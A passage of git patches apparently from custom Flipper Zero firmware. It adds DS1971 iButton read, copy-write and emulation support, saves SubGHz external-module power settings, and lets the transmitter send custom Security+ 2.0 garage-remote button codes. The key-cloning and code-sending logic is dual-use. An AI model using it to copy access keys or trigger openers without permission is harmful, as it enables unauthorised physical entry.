temp_external_module_power_5v_disable = false; //int32_t temp_preset = 0; bool frequency_analyzer_feedback_level_was_read = false; bool frequency_analyzer_trigger_was_read = false; @@ -69,6 +71,11 @@ void subghz_last_settings_load(SubGhzLastSettings* instance, size_t preset_count SUBGHZ_LAST_SETTING_FIELD_EXTERNAL_MODULE_ENABLED, (bool*)&temp_external_module_enabled, 1); + flipper_format_read_bool( + fff_data_file, + SUBGHZ_LAST_SETTING_FIELD_EXTERNAL_MODULE_POWER, + (bool*)&temp_external_module_power_5v_disable, + 1); } else { FURI_LOG_E(TAG, "Error open file %s", SUBGHZ_LAST_SETTINGS_PATH); @@ -100,6 +107,13 @@ void subghz_last_settings_load(SubGhzLastSettings* instance, size_t preset_count instance->external_module_enabled = temp_external_module_enabled; + instance->external_module_power_5v_disable = temp_external_module_power_5v_disable; + + if(instance->external_module_power_5v_disable) { + furi_hal_subghz_set_external_power_disable(true); + furi_hal_subghz_disable_ext_power(); + } + // Set selected radio module if(instance->external_module_enabled) { furi_hal_subghz_set_radio_type(SubGhzRadioExternal); @@ -168,6 +182,13 @@ bool subghz_last_settings_save(SubGhzLastSettings* instance) { 1)) { break; } + if(!flipper_format_insert_or_update_bool( + file, + SUBGHZ_LAST_SETTING_FIELD_EXTERNAL_MODULE_POWER, + &instance->external_module_power_5v_disable, + 1)) { + break; + } saved = true; } while(0); diff --git a/applications/main/subghz/subghz_last_settings.h b/applications/main/subghz/subghz_last_settings.h index d5365198a..5e3630468 100644 --- a/applications/main/subghz/subghz_last_settings.h +++ b/applications/main/subghz/subghz_last_settings.h @@ -11,6 +11,7 @@ typedef struct { uint32_t frequency_analyzer_feedback_level; float frequency_analyzer_trigger; bool external_module_enabled; + bool external_module_power_5v_disable; } SubGhzLastSettings; SubGhzLastSettings* subghz_last_settings_alloc(void); From 771c47f809eb1e25c2bb3f55ff40780c3709e388 Mon Sep 17 00:00:00 2001 From: hedger Date: Thu, 16 Mar 2023 17:46:18 +0400 Subject: [PATCH 126/329] fbt: explicitly set dist suffix length, not depending on environment settings. See (#2497) --- scripts/version.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/scripts/version.py b/scripts/version.py index 896b58a46..880a97281 100644 --- a/scripts/version.py +++ b/scripts/version.py @@ -9,11 +9,16 @@ from datetime import date, datetime class GitVersion: + REVISION_SUFFIX_LENGTH = 8 + def __init__(self, source_dir): self.source_dir = source_dir def get_version_info(self): - commit = self._exec_git("rev-parse --short HEAD") or "unknown" + commit = ( + self._exec_git(f"rev-parse --short={self.REVISION_SUFFIX_LENGTH} HEAD") + or "unknown" + ) dirty = False try: From 25fd3c3400ecaa0e3b66771a895844de8ddd52f9 Mon Sep 17 00:00:00 2001 From: Guido Giorgi Date: Thu, 16 Mar 2023 15:12:43 +0100 Subject: [PATCH 127/329] iButton: Add support for Dallas DS1971 v2 (#2492) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * iButton: Add DS1971 Support refactored for v2 * Fix requested by gsurkov * Fix DALLAS_COMMON_CMD_* use, cusotm data field to Eeprom and COPY_SCRAPTCHPAD * Fix Emulation + Memory Info + Docs * Fix docs, strings, refactor code Co-authored-by: Georgii Surkov Co-authored-by: あく --- .../file_formats/iButtonFileFormat.md | 13 +- .../ibutton/protocols/dallas/dallas_common.c | 27 +- .../ibutton/protocols/dallas/dallas_common.h | 5 +- .../protocols/dallas/protocol_ds1971.c | 270 ++++++++++++++++++ .../protocols/dallas/protocol_ds1971.h | 5 + .../protocols/dallas/protocol_ds1992.c | 3 +- .../protocols/dallas/protocol_ds1996.c | 3 +- .../dallas/protocol_group_dallas_defs.c | 2 + .../dallas/protocol_group_dallas_defs.h | 1 + 9 files changed, 311 insertions(+), 18 deletions(-) create mode 100644 lib/one_wire/ibutton/protocols/dallas/protocol_ds1971.c create mode 100644 lib/one_wire/ibutton/protocols/dallas/protocol_ds1971.h diff --git a/documentation/file_formats/iButtonFileFormat.md b/documentation/file_formats/iButtonFileFormat.md index adb493e05..d31c297a2 100644 --- a/documentation/file_formats/iButtonFileFormat.md +++ b/documentation/file_formats/iButtonFileFormat.md @@ -24,12 +24,13 @@ Changelog: #### Format fields -| Name | Type | Description | -| --------- | ------ | -------------------------------------------- | -| Protocol | string | Currently supported: DS1990, DS1992, DS1996, DSGeneric*, Cyfral, Metakom | -| Rom Data | hex | Read-only memory data (Dallas protocols only) | -| Sram Data | hex | Static RAM data (DS1992 and DS1996 only) -| Data | hex | Key data (Cyfral & Metakom only) | +| Name | Type | Description | +| ----------- | ------ | -------------------------------------------- | +| Protocol | string | Currently supported: DS1990, DS1992, DS1996, DS1997, DSGeneric*, Cyfral, Metakom | +| Rom Data | hex | Read-only memory data (Dallas protocols only) | +| Sram Data | hex | Static RAM data (DS1992 and DS1996 only) +| Eeprom Data | hex | EEPROM data (DS1971 only) +| Data | hex | Key data (Cyfral & Metakom only) | NOTE 1: DSGeneric is a catch-all protocol for all unknown 1-Wire devices. It reads only the ROM and does not perform any checks on the read data. It can also be used if a key with a deliberately invalid family code or checksum is required. diff --git a/lib/one_wire/ibutton/protocols/dallas/dallas_common.c b/lib/one_wire/ibutton/protocols/dallas/dallas_common.c index 57a873b1d..22b25db84 100644 --- a/lib/one_wire/ibutton/protocols/dallas/dallas_common.c +++ b/lib/one_wire/ibutton/protocols/dallas/dallas_common.c @@ -21,6 +21,7 @@ #define BITS_IN_BYTE 8U #define BITS_IN_KBIT 1024U +#define BITS_IN_MBIT (BITS_IN_KBIT * 1024U) bool dallas_common_skip_rom(OneWireHost* host) { onewire_host_write(host, DALLAS_COMMON_CMD_SKIP_ROM); @@ -210,25 +211,35 @@ bool dallas_common_is_valid_crc(const DallasCommonRomData* rom_data) { void dallas_common_render_brief_data( FuriString* result, const DallasCommonRomData* rom_data, - const uint8_t* sram_data, - size_t sram_data_size) { + const uint8_t* mem_data, + size_t mem_size, + const char* mem_name) { for(size_t i = 0; i < sizeof(rom_data->bytes); ++i) { furi_string_cat_printf(result, "%02X ", rom_data->bytes[i]); } + const char* size_prefix = ""; + size_t mem_size_bits = mem_size * BITS_IN_BYTE; + + if(mem_size_bits >= BITS_IN_MBIT) { + size_prefix = "M"; + mem_size_bits /= BITS_IN_MBIT; + } else if(mem_size_bits >= BITS_IN_KBIT) { + size_prefix = "K"; + mem_size_bits /= BITS_IN_KBIT; + } + furi_string_cat_printf( - result, - "\nInternal SRAM: %zu Kbit\n", - (size_t)(sram_data_size * BITS_IN_BYTE / BITS_IN_KBIT)); + result, "\nInternal %s: %zu %sbit\n", mem_name, mem_size_bits, size_prefix); for(size_t i = 0; i < DALLAS_COMMON_BRIEF_HEAD_COUNT; ++i) { - furi_string_cat_printf(result, "%02X ", sram_data[i]); + furi_string_cat_printf(result, "%02X ", mem_data[i]); } furi_string_cat_printf(result, "[ . . . ]"); - for(size_t i = sram_data_size - DALLAS_COMMON_BRIEF_TAIL_COUNT; i < sram_data_size; ++i) { - furi_string_cat_printf(result, " %02X", sram_data[i]); + for(size_t i = mem_size - DALLAS_COMMON_BRIEF_TAIL_COUNT; i < mem_size; ++i) { + furi_string_cat_printf(result, " %02X", mem_data[i]); } } diff --git a/lib/one_wire/ibutton/protocols/dallas/dallas_common.h b/lib/one_wire/ibutton/protocols/dallas/dallas_common.h index 7ad13eb2c..7991a1f8b 100644 --- a/lib/one_wire/ibutton/protocols/dallas/dallas_common.h +++ b/lib/one_wire/ibutton/protocols/dallas/dallas_common.h @@ -99,8 +99,9 @@ bool dallas_common_is_valid_crc(const DallasCommonRomData* rom_data); void dallas_common_render_brief_data( FuriString* result, const DallasCommonRomData* rom_data, - const uint8_t* sram_data, - size_t sram_data_size); + const uint8_t* mem_data, + size_t mem_size, + const char* mem_name); void dallas_common_render_crc_error(FuriString* result, const DallasCommonRomData* rom_data); diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_ds1971.c b/lib/one_wire/ibutton/protocols/dallas/protocol_ds1971.c new file mode 100644 index 000000000..eb5b330b7 --- /dev/null +++ b/lib/one_wire/ibutton/protocols/dallas/protocol_ds1971.c @@ -0,0 +1,270 @@ +#include "protocol_ds1971.h" + +#include +#include + +#include "dallas_common.h" + +#define DS1971_FAMILY_CODE 0x14U +#define DS1971_FAMILY_NAME "DS1971" + +#define DS1971_EEPROM_DATA_SIZE 32U +#define DS1971_SRAM_PAGE_SIZE 32U +#define DS1971_COPY_SCRATCH_DELAY_US 250U + +#define DS1971_DATA_BYTE_COUNT 4U + +#define DS1971_EEPROM_DATA_KEY "Eeprom Data" +#define DS1971_MEMORY_TYPE "EEPROM" + +#define DS1971_CMD_FINALIZATION 0xA5 + +typedef struct { + OneWireSlave* bus; + DallasCommonCommandState command_state; +} DS1971ProtocolState; + +typedef struct { + DallasCommonRomData rom_data; + uint8_t eeprom_data[DS1971_EEPROM_DATA_SIZE]; + DS1971ProtocolState state; +} DS1971ProtocolData; + +static bool dallas_ds1971_read(OneWireHost*, void*); +static bool dallas_ds1971_write_copy(OneWireHost*, iButtonProtocolData*); +static void dallas_ds1971_emulate(OneWireSlave*, iButtonProtocolData*); +static bool dallas_ds1971_load(FlipperFormat*, uint32_t, iButtonProtocolData*); +static bool dallas_ds1971_save(FlipperFormat*, const iButtonProtocolData*); +static void dallas_ds1971_render_data(FuriString*, const iButtonProtocolData*); +static void dallas_ds1971_render_brief_data(FuriString*, const iButtonProtocolData*); +static void dallas_ds1971_render_error(FuriString*, const iButtonProtocolData*); +static bool dallas_ds1971_is_data_valid(const iButtonProtocolData*); +static void dallas_ds1971_get_editable_data(iButtonEditableData*, iButtonProtocolData*); +static void dallas_ds1971_apply_edits(iButtonProtocolData*); +static bool + dallas_ds1971_read_mem(OneWireHost* host, uint8_t address, uint8_t* data, size_t data_size); +static bool ds1971_emulate_read_mem(OneWireSlave* bus, const uint8_t* data, size_t data_size); + +const iButtonProtocolDallasBase ibutton_protocol_ds1971 = { + .family_code = DS1971_FAMILY_CODE, + .features = iButtonProtocolFeatureExtData | iButtonProtocolFeatureWriteCopy, + .data_size = sizeof(DS1971ProtocolData), + .manufacturer = DALLAS_COMMON_MANUFACTURER_NAME, + .name = DS1971_FAMILY_NAME, + + .read = dallas_ds1971_read, + .write_blank = NULL, /* No data to write a blank */ + .write_copy = dallas_ds1971_write_copy, + .emulate = dallas_ds1971_emulate, + .save = dallas_ds1971_save, + .load = dallas_ds1971_load, + .render_data = dallas_ds1971_render_data, + .render_brief_data = dallas_ds1971_render_brief_data, + .render_error = dallas_ds1971_render_error, + .is_valid = dallas_ds1971_is_data_valid, + .get_editable_data = dallas_ds1971_get_editable_data, + .apply_edits = dallas_ds1971_apply_edits, +}; + +bool dallas_ds1971_read(OneWireHost* host, iButtonProtocolData* protocol_data) { + DS1971ProtocolData* data = protocol_data; + return onewire_host_reset(host) && dallas_common_read_rom(host, &data->rom_data) && + dallas_ds1971_read_mem(host, 0, data->eeprom_data, DS1971_EEPROM_DATA_SIZE); +} + +bool dallas_ds1971_write_copy(OneWireHost* host, iButtonProtocolData* protocol_data) { + DS1971ProtocolData* data = protocol_data; + + onewire_host_reset(host); + onewire_host_skip(host); + // Starting writing from address 0x0000 + onewire_host_write(host, DALLAS_COMMON_CMD_WRITE_SCRATCH); + onewire_host_write(host, 0x00); + // Write data to scratchpad + onewire_host_write_bytes(host, data->eeprom_data, DS1971_EEPROM_DATA_SIZE); + + // Read data from scratchpad and verify + bool pad_valid = false; + if(onewire_host_reset(host)) { + pad_valid = true; + onewire_host_skip(host); + onewire_host_write(host, DALLAS_COMMON_CMD_READ_SCRATCH); + onewire_host_write(host, 0x00); + + for(size_t i = 0; i < DS1971_EEPROM_DATA_SIZE; ++i) { + uint8_t scratch = onewire_host_read(host); + if(data->eeprom_data[i] != scratch) { + pad_valid = false; + break; + } + } + } + + // Copy scratchpad to memory and confirm + if(pad_valid) { + if(onewire_host_reset(host)) { + onewire_host_skip(host); + onewire_host_write(host, DALLAS_COMMON_CMD_COPY_SCRATCH); + onewire_host_write(host, DS1971_CMD_FINALIZATION); + + furi_delay_us(DS1971_COPY_SCRATCH_DELAY_US); + } + } + + return pad_valid; +} + +static void dallas_ds1971_reset_callback(void* context) { + furi_assert(context); + DS1971ProtocolData* data = context; + data->state.command_state = DallasCommonCommandStateIdle; +} + +static bool dallas_ds1971_command_callback(uint8_t command, void* context) { + furi_assert(context); + DS1971ProtocolData* data = context; + OneWireSlave* bus = data->state.bus; + + switch(command) { + case DALLAS_COMMON_CMD_SEARCH_ROM: + if(data->state.command_state == DallasCommonCommandStateIdle) { + data->state.command_state = DallasCommonCommandStateRomCmd; + return dallas_common_emulate_search_rom(bus, &data->rom_data); + + } else if(data->state.command_state == DallasCommonCommandStateRomCmd) { + data->state.command_state = DallasCommonCommandStateMemCmd; + ds1971_emulate_read_mem(bus, data->eeprom_data, DS1971_EEPROM_DATA_SIZE); + return false; + + } else { + return false; + } + + case DALLAS_COMMON_CMD_READ_ROM: + if(data->state.command_state == DallasCommonCommandStateIdle) { + data->state.command_state = DallasCommonCommandStateRomCmd; + return dallas_common_emulate_read_rom(bus, &data->rom_data); + } else { + return false; + } + + case DALLAS_COMMON_CMD_SKIP_ROM: + if(data->state.command_state == DallasCommonCommandStateIdle) { + data->state.command_state = DallasCommonCommandStateRomCmd; + return true; + } else { + return false; + } + + default: + return false; + } +} + +void dallas_ds1971_emulate(OneWireSlave* bus, iButtonProtocolData* protocol_data) { + DS1971ProtocolData* data = protocol_data; + data->state.bus = bus; + + onewire_slave_set_reset_callback(bus, dallas_ds1971_reset_callback, protocol_data); + onewire_slave_set_command_callback(bus, dallas_ds1971_command_callback, protocol_data); +} + +bool dallas_ds1971_load( + FlipperFormat* ff, + uint32_t format_version, + iButtonProtocolData* protocol_data) { + DS1971ProtocolData* data = protocol_data; + bool success = false; + + do { + if(format_version < 2) break; + if(!dallas_common_load_rom_data(ff, format_version, &data->rom_data)) break; + if(!flipper_format_read_hex( + ff, DS1971_EEPROM_DATA_KEY, data->eeprom_data, DS1971_EEPROM_DATA_SIZE)) + break; + success = true; + } while(false); + + return success; +} + +bool dallas_ds1971_save(FlipperFormat* ff, const iButtonProtocolData* protocol_data) { + const DS1971ProtocolData* data = protocol_data; + bool success = false; + + do { + if(!dallas_common_save_rom_data(ff, &data->rom_data)) break; + if(!flipper_format_write_hex( + ff, DS1971_EEPROM_DATA_KEY, data->eeprom_data, DS1971_EEPROM_DATA_SIZE)) + break; + success = true; + } while(false); + + return success; +} + +void dallas_ds1971_render_data(FuriString* result, const iButtonProtocolData* protocol_data) { + const DS1971ProtocolData* data = protocol_data; + pretty_format_bytes_hex_canonical( + result, + DS1971_DATA_BYTE_COUNT, + PRETTY_FORMAT_FONT_MONOSPACE, + data->eeprom_data, + DS1971_EEPROM_DATA_SIZE); +} + +void dallas_ds1971_render_brief_data(FuriString* result, const iButtonProtocolData* protocol_data) { + const DS1971ProtocolData* data = protocol_data; + dallas_common_render_brief_data( + result, &data->rom_data, data->eeprom_data, DS1971_EEPROM_DATA_SIZE, DS1971_MEMORY_TYPE); +} + +void dallas_ds1971_render_error(FuriString* result, const iButtonProtocolData* protocol_data) { + const DS1971ProtocolData* data = protocol_data; + + if(!dallas_common_is_valid_crc(&data->rom_data)) { + dallas_common_render_crc_error(result, &data->rom_data); + } +} + +bool dallas_ds1971_is_data_valid(const iButtonProtocolData* protocol_data) { + const DS1971ProtocolData* data = protocol_data; + return dallas_common_is_valid_crc(&data->rom_data); +} + +void dallas_ds1971_get_editable_data( + iButtonEditableData* editable_data, + iButtonProtocolData* protocol_data) { + DS1971ProtocolData* data = protocol_data; + editable_data->ptr = data->rom_data.bytes; + editable_data->size = sizeof(DallasCommonRomData); +} + +void dallas_ds1971_apply_edits(iButtonProtocolData* protocol_data) { + DS1971ProtocolData* data = protocol_data; + dallas_common_apply_edits(&data->rom_data, DS1971_FAMILY_CODE); +} + +bool dallas_ds1971_read_mem(OneWireHost* host, uint8_t address, uint8_t* data, size_t data_size) { + onewire_host_write(host, DALLAS_COMMON_CMD_READ_MEM); + + onewire_host_write(host, address); + onewire_host_read_bytes(host, data, (uint8_t)data_size); + + return true; +} + +bool ds1971_emulate_read_mem(OneWireSlave* bus, const uint8_t* data, size_t data_size) { + bool success = false; + + do { + uint8_t address; + if(!onewire_slave_receive(bus, &address, sizeof(address))) break; + if(address >= data_size) break; + if(!onewire_slave_send(bus, data + address, data_size - address)) break; + + success = true; + } while(false); + + return success; +} diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_ds1971.h b/lib/one_wire/ibutton/protocols/dallas/protocol_ds1971.h new file mode 100644 index 000000000..522b612da --- /dev/null +++ b/lib/one_wire/ibutton/protocols/dallas/protocol_ds1971.h @@ -0,0 +1,5 @@ +#pragma once + +#include "protocol_dallas_base.h" + +extern const iButtonProtocolDallasBase ibutton_protocol_ds1971; diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_ds1992.c b/lib/one_wire/ibutton/protocols/dallas/protocol_ds1992.c index 131bc634a..17d631259 100644 --- a/lib/one_wire/ibutton/protocols/dallas/protocol_ds1992.c +++ b/lib/one_wire/ibutton/protocols/dallas/protocol_ds1992.c @@ -17,6 +17,7 @@ #define DS1992_DATA_BYTE_COUNT 4U #define DS1992_SRAM_DATA_KEY "Sram Data" +#define DS1992_MEMORY_TYPE "SRAM" typedef struct { OneWireSlave* bus; @@ -188,7 +189,7 @@ void dallas_ds1992_render_data(FuriString* result, const iButtonProtocolData* pr void dallas_ds1992_render_brief_data(FuriString* result, const iButtonProtocolData* protocol_data) { const DS1992ProtocolData* data = protocol_data; dallas_common_render_brief_data( - result, &data->rom_data, data->sram_data, DS1992_SRAM_DATA_SIZE); + result, &data->rom_data, data->sram_data, DS1992_SRAM_DATA_SIZE, DS1992_MEMORY_TYPE); } void dallas_ds1992_render_error(FuriString* result, const iButtonProtocolData* protocol_data) { diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_ds1996.c b/lib/one_wire/ibutton/protocols/dallas/protocol_ds1996.c index e69145c58..74a5792c6 100644 --- a/lib/one_wire/ibutton/protocols/dallas/protocol_ds1996.c +++ b/lib/one_wire/ibutton/protocols/dallas/protocol_ds1996.c @@ -15,6 +15,7 @@ #define DS1996_DATA_BYTE_COUNT 4U #define DS1996_SRAM_DATA_KEY "Sram Data" +#define DS1996_MEMORY_TYPE "SRAM" typedef struct { OneWireSlave* bus; @@ -182,7 +183,7 @@ void dallas_ds1996_render_data(FuriString* result, const iButtonProtocolData* pr void dallas_ds1996_render_brief_data(FuriString* result, const iButtonProtocolData* protocol_data) { const DS1996ProtocolData* data = protocol_data; dallas_common_render_brief_data( - result, &data->rom_data, data->sram_data, DS1996_SRAM_DATA_SIZE); + result, &data->rom_data, data->sram_data, DS1996_SRAM_DATA_SIZE, DS1996_MEMORY_TYPE); } void dallas_ds1996_render_error(FuriString* result, const iButtonProtocolData* protocol_data) { diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_group_dallas_defs.c b/lib/one_wire/ibutton/protocols/dallas/protocol_group_dallas_defs.c index e54c3125d..b4dd51ce7 100644 --- a/lib/one_wire/ibutton/protocols/dallas/protocol_group_dallas_defs.c +++ b/lib/one_wire/ibutton/protocols/dallas/protocol_group_dallas_defs.c @@ -3,12 +3,14 @@ #include "protocol_ds1990.h" #include "protocol_ds1992.h" #include "protocol_ds1996.h" +#include "protocol_ds1971.h" #include "protocol_ds_generic.h" const iButtonProtocolDallasBase* ibutton_protocols_dallas[] = { [iButtonProtocolDS1990] = &ibutton_protocol_ds1990, [iButtonProtocolDS1992] = &ibutton_protocol_ds1992, [iButtonProtocolDS1996] = &ibutton_protocol_ds1996, + [iButtonProtocolDS1971] = &ibutton_protocol_ds1971, /* Add new 1-Wire protocols here */ /* Default catch-all 1-Wire protocol */ diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_group_dallas_defs.h b/lib/one_wire/ibutton/protocols/dallas/protocol_group_dallas_defs.h index ba74c0c23..2ba1dd39a 100644 --- a/lib/one_wire/ibutton/protocols/dallas/protocol_group_dallas_defs.h +++ b/lib/one_wire/ibutton/protocols/dallas/protocol_group_dallas_defs.h @@ -6,6 +6,7 @@ typedef enum { iButtonProtocolDS1990, iButtonProtocolDS1992, iButtonProtocolDS1996, + iButtonProtocolDS1971, /* Add new 1-Wire protocols here */ /* Default catch-all 1-Wire protocol */ From 55ca831a9d0d696ed16c4378b027207fffdc575b Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 16 Mar 2023 14:50:19 +0000 Subject: [PATCH 128/329] Fix release tgz naming --- .github/workflows/release.yml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 842184286..0efcf3925 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -60,7 +60,8 @@ jobs: run: | cd ./dist/${DEFAULT_TARGET}-* mv flipper-z-${DEFAULT_TARGET}-update-*.tgz ${RELEASE_TAG}.tgz - cd ./${DEFAULT_TARGET}-update-* + mv ${DEFAULT_TARGET}-update-* ${RELEASE_TAG} + cd ./${RELEASE_TAG} 7z a ../${RELEASE_TAG}.zip . cd .. mv ${RELEASE_TAG}.tgz .. From 2cefc9aab06eb4f0af6b54829552333a46fa492a Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Thu, 16 Mar 2023 18:14:39 +0300 Subject: [PATCH 129/329] Security+ 2.0 custom buttons --- CHANGELOG.md | 1 + ReadMe.md | 2 +- .../scenes/subghz_scene_receiver_info.c | 2 + .../main/subghz/scenes/subghz_scene_rpc.c | 2 + .../subghz/scenes/subghz_scene_transmitter.c | 3 + applications/main/subghz/views/transmitter.c | 4 + .../main/subghz_remote/subghz_remote_app.c | 2 + firmware/targets/f7/api_symbols.csv | 4 + lib/subghz/protocols/secplus_v2.c | 90 +++++++++++++++++++ lib/subghz/protocols/secplus_v2.h | 8 ++ 10 files changed, 117 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 71957562d..4e0837af2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,6 +1,7 @@ ### New changes * SubGHz: New protocols support: CAME Space, Stilmatic / Schellenberg * SubGHz: Add Manually - new protocols -> Beninca, Sommer(FSK), IronLogic, DTM Neo, Gibidi, Elmes Electronic (Elmes Poland), CAME Space +* SubGHz: Security+ 2.0 -> Ability to send custom buttons codes (0x80, 0x81, 0xE2) * SubGHz: Remember last external module setting and power setting, so if you turn off flipper it will remember last external module settings (only for subghz app) * SubGHz: Fix issues when external module is not found but plugins tries to use it, now they will fallback to internal in that case * SubGHz: Fixed external CC1101 module power issues, added more checks, fixed issues when launching subghz favourites diff --git a/ReadMe.md b/ReadMe.md index 13edfeb64..8c1a57142 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -56,7 +56,7 @@ Our Discord Community: * Sub-GHz -> Long press OK button in Sub-GHz Frequency analyzer to switch to Read menu * Sub-GHz -> External CC1101 module support * SubGHz -> **Hold right in received signal list to delete selected signal** -* SubGHz -> **Custom buttons for Keeloq / Alutech AT4N / Nice Flor S / Somfy Telis** - now you can use arrow buttons to send signal with different button code +* SubGHz -> **Custom buttons for Keeloq / Alutech AT4N / Nice Flor S / Somfy Telis / Security+ 2.0** - now you can use arrow buttons to send signal with different button code * SubGHz -> BFT Mitto / Somfy Telis / Nice Flor S manual creation with programming new remote into receiver (use button 0xF for BFT Mitto, 0x8 (Prog) on Somfy Telis) * SubGHz -> Debug mode counter increase settings (+1 -> +5, +10, default: +1) * SubGHz -> Debug PIN output settings for protocol development diff --git a/applications/main/subghz/scenes/subghz_scene_receiver_info.c b/applications/main/subghz/scenes/subghz_scene_receiver_info.c index 90046eb9d..978954181 100644 --- a/applications/main/subghz/scenes/subghz_scene_receiver_info.c +++ b/applications/main/subghz/scenes/subghz_scene_receiver_info.c @@ -5,6 +5,7 @@ #include #include #include +#include void subghz_scene_receiver_info_callback(GuiButtonType result, InputType type, void* context) { furi_assert(context); @@ -240,6 +241,7 @@ void subghz_scene_receiver_info_on_exit(void* context) { alutech_reset_original_btn(); nice_flors_reset_original_btn(); somfy_telis_reset_original_btn(); + secplus2_reset_original_btn(); star_line_reset_mfname(); star_line_reset_kl_type(); } diff --git a/applications/main/subghz/scenes/subghz_scene_rpc.c b/applications/main/subghz/scenes/subghz_scene_rpc.c index 01804492e..ca3d23685 100644 --- a/applications/main/subghz/scenes/subghz_scene_rpc.c +++ b/applications/main/subghz/scenes/subghz_scene_rpc.c @@ -4,6 +4,7 @@ #include #include #include +#include typedef enum { SubGhzRpcStateIdle, @@ -117,6 +118,7 @@ void subghz_scene_rpc_on_exit(void* context) { alutech_reset_original_btn(); nice_flors_reset_original_btn(); somfy_telis_reset_original_btn(); + secplus2_reset_original_btn(); star_line_reset_mfname(); star_line_reset_kl_type(); } diff --git a/applications/main/subghz/scenes/subghz_scene_transmitter.c b/applications/main/subghz/scenes/subghz_scene_transmitter.c index 34685a8e5..e32e2b7b2 100644 --- a/applications/main/subghz/scenes/subghz_scene_transmitter.c +++ b/applications/main/subghz/scenes/subghz_scene_transmitter.c @@ -6,6 +6,7 @@ #include #include #include +#include void subghz_scene_transmitter_callback(SubGhzCustomEvent event, void* context) { furi_assert(context); @@ -95,6 +96,7 @@ bool subghz_scene_transmitter_on_event(void* context, SceneManagerEvent event) { alutech_set_btn(0); nice_flors_set_btn(0); somfy_telis_set_btn(0); + secplus2_set_btn(0); uint8_t tmp_counter = furi_hal_subghz_get_rolling_counter_mult(); furi_hal_subghz_set_rolling_counter_mult(0); // Calling restore! @@ -139,6 +141,7 @@ void subghz_scene_transmitter_on_exit(void* context) { alutech_reset_original_btn(); nice_flors_reset_original_btn(); somfy_telis_reset_original_btn(); + secplus2_reset_original_btn(); star_line_reset_mfname(); star_line_reset_kl_type(); } diff --git a/applications/main/subghz/views/transmitter.c b/applications/main/subghz/views/transmitter.c index e6ed16d81..7de0e6495 100644 --- a/applications/main/subghz/views/transmitter.c +++ b/applications/main/subghz/views/transmitter.c @@ -8,6 +8,7 @@ #include #include #include +#include struct SubGhzViewTransmitter { View* view; @@ -163,6 +164,7 @@ bool subghz_view_transmitter_input(InputEvent* event, void* context) { alutech_set_btn(1); nice_flors_set_btn(1); somfy_telis_set_btn(1); + secplus2_set_btn(1); with_view_model( subghz_transmitter->view, SubGhzViewTransmitterModel * model, @@ -199,6 +201,7 @@ bool subghz_view_transmitter_input(InputEvent* event, void* context) { alutech_set_btn(2); nice_flors_set_btn(2); somfy_telis_set_btn(2); + secplus2_set_btn(2); with_view_model( subghz_transmitter->view, SubGhzViewTransmitterModel * model, @@ -235,6 +238,7 @@ bool subghz_view_transmitter_input(InputEvent* event, void* context) { alutech_set_btn(3); nice_flors_set_btn(3); somfy_telis_set_btn(3); + secplus2_set_btn(3); with_view_model( subghz_transmitter->view, SubGhzViewTransmitterModel * model, diff --git a/applications/main/subghz_remote/subghz_remote_app.c b/applications/main/subghz_remote/subghz_remote_app.c index 90aa03c9a..e26d23cdf 100644 --- a/applications/main/subghz_remote/subghz_remote_app.c +++ b/applications/main/subghz_remote/subghz_remote_app.c @@ -22,6 +22,7 @@ #include #include #include +#include #define SUBREMOTEMAP_FOLDER "/ext/subghz_remote" #define SUBREMOTEMAP_EXTENSION ".txt" @@ -491,6 +492,7 @@ void subghz_remote_tx_stop(SubGHzRemote* app) { alutech_reset_original_btn(); nice_flors_reset_original_btn(); somfy_telis_reset_original_btn(); + secplus2_reset_original_btn(); star_line_reset_mfname(); star_line_reset_kl_type(); } diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index 27a9e6b9d..87efb1199 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -2462,6 +2462,10 @@ Function,+,scene_manager_search_and_switch_to_previous_scene_one_of,_Bool,"Scene Function,+,scene_manager_set_scene_state,void,"SceneManager*, uint32_t, uint32_t" Function,+,scene_manager_stop,void,SceneManager* Function,+,sd_api_get_fs_type_text,const char*,SDFsType +Function,-,secplus2_get_custom_btn,uint8_t, +Function,-,secplus2_get_original_btn,uint8_t, +Function,-,secplus2_reset_original_btn,void, +Function,-,secplus2_set_btn,void,uint8_t Function,-,secure_getenv,char*,const char* Function,-,seed48,unsigned short*,unsigned short[3] Function,-,select,int,"int, fd_set*, fd_set*, fd_set*, timeval*" diff --git a/lib/subghz/protocols/secplus_v2.c b/lib/subghz/protocols/secplus_v2.c index f6837b571..a0bc2b9f4 100644 --- a/lib/subghz/protocols/secplus_v2.c +++ b/lib/subghz/protocols/secplus_v2.c @@ -83,6 +83,25 @@ const SubGhzProtocol subghz_protocol_secplus_v2 = { .encoder = &subghz_protocol_secplus_v2_encoder, }; +static uint8_t sc_btn_temp_id; +static uint8_t sc_btn_temp_id_original; + +void secplus2_set_btn(uint8_t b) { + sc_btn_temp_id = b; +} + +uint8_t secplus2_get_original_btn() { + return sc_btn_temp_id_original; +} + +uint8_t secplus2_get_custom_btn() { + return sc_btn_temp_id; +} + +void secplus2_reset_original_btn() { + sc_btn_temp_id_original = 0; +} + void* subghz_protocol_encoder_secplus_v2_alloc(SubGhzEnvironment* environment) { UNUSED(environment); SubGhzProtocolEncoderSecPlus_v2* instance = malloc(sizeof(SubGhzProtocolEncoderSecPlus_v2)); @@ -338,6 +357,11 @@ static void instance->btn = 0; instance->serial = 0; } + + // Save original button for later use + if(sc_btn_temp_id_original == 0) { + sc_btn_temp_id_original = instance->btn; + } } /** @@ -373,6 +397,72 @@ static uint64_t 